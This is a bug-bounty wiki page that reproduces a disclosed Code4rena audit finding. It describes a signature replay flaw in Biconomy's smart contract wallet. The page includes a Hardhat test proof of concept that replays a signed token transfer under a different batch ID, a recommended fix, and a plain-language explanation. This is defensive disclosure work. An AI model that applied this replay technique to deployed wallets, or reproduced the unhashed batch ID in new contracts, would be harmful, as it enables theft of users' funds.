Skip to content
Smart contracts Audit finding Intermediate

Replay attack (EIP712 signed transaction)

The smart contract wallet checks the nonce for a batch but not the batch identifier itself, so a signed transaction can be replayed by submitting it under a different batch that shares the same nonce. An attacker could replay the first transaction of any batch an unlimited number of times, and later transactions a limited number of times.

Tointer Follow with V_B, Tricko and 11 others

Originally disclosed on Code4rena

Submitted by Tointer, also found by V_B, Tricko, Haipls, Koolex, peakbolt, 0xdeadbeef0x, PwnedNoMore, romand, ro, csanuragjain, HE1M, taek, and orion

contracts/smart-contract-wallet/SmartAccount.sol#L212

Signed transaction can be replayed. First user transaction can always be replayed any amount of times. With non-first transactions attack surface is reduced but never disappears.

Why it is possible

Contract checks nonces[batchId] but not batchId itself, so we could reuse other batches nounces. If before transaction we have n batches with the same nonce as transaction batch, then transaction can be replayed n times. Since there are 2^256 batchIds with nonce = 0, first transaction in any batch can be replayed as much times as attacker needs.

Proof of Concept

Insert this test in testGroup1.ts right after Should set the correct states on proxy test:

it("replay EIP712 sign transaction", async function () {
  await token
  .connect(accounts[0])
  .transfer(userSCW.address, ethers.utils.parseEther("100"));

const safeTx: SafeTransaction = buildSafeTransaction({
  to: token.address,
  data: encodeTransfer(charlie, ethers.utils.parseEther("10").toString()),
  nonce: await userSCW.getNonce(0),
});

const chainId = await userSCW.getChainId();
const { signer, data } = await safeSignTypedData(
  accounts[0],
  userSCW,
  safeTx,
  chainId
);

const transaction: Transaction = {
  to: safeTx.to,
  value: safeTx.value,
  data: safeTx.data,
  operation: safeTx.operation,
  targetTxGas: safeTx.targetTxGas,
};
const refundInfo: FeeRefund = {
  baseGas: safeTx.baseGas,
  gasPrice: safeTx.gasPrice,
  tokenGasPriceFactor: safeTx.tokenGasPriceFactor,
  gasToken: safeTx.gasToken,
  refundReceiver: safeTx.refundReceiver,
};

let signature = "0x";
signature += data.slice(2);

await expect(
  userSCW.connect(accounts[2]).execTransaction(
    transaction,
    0, // batchId
    refundInfo,
    signature
  )
).to.emit(userSCW, "ExecutionSuccess");

//contract checks nonces[batchId] but not batchId itself
//so we can change batchId to the one that have the same nonce
//this would replay transaction
await expect(
  userSCW.connect(accounts[2]).execTransaction(
    transaction,
    1, // changed batchId
    refundInfo,
    signature
  )
).to.emit(userSCW, "ExecutionSuccess");

//charlie would have 20 tokens after this
expect(await token.balanceOf(charlie)).to.equal(
  ethers.utils.parseEther("20")
);
});

Recommended Mitigation Steps

Add batchId to the hash calculation of the transaction in encodeTransactionData function.

livingrockrises (Biconomy) confirmed


The original report as published on Code4rena, by Tointer. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The signed transaction hash does not include the batch identifier, so the same signature is valid for any batch that has the same nonce.

Impact

The first transaction of any batch can be replayed as many times as the attacker needs, and later transactions can be replayed a number of times equal to the number of batches sharing that nonce, allowing repeated transfers of funds.

What the attacker needed

A signed transaction from the wallet owner; ability to submit transactions to the wallet

How it was found

  1. Build a signed transaction for the wallet with nonce 0.
  2. Execute it with batch identifier 0 and observe success.
  3. Execute the same signed transaction again with batch identifier 1.
  4. Observe the second execution also succeeds and the recipient receives double the tokens.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A smart contract wallet lets someone approve a transaction with a signature instead of sending it directly. The wallet tracks a counter (nonce) to stop the same approval being used twice, but it only checks the counter for a chosen batch number and never checks the batch number itself. Because there are many batch numbers that start with the same counter, the same signed approval can be submitted again under a different batch number and executed again.

What is Smart contracts?

Flaws in on-chain code that let an attacker drain funds, freeze them or break the protocol's accounting.

More by Tointer

View all

1 more disclosed report, best first.

More from Biconomy - Smart Contract Wallet contest

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Smart contract vulnerabilities

The lesson behind this report.

Flaws in on-chain code that let an attacker drain funds, freeze them or break the protocol's accounting.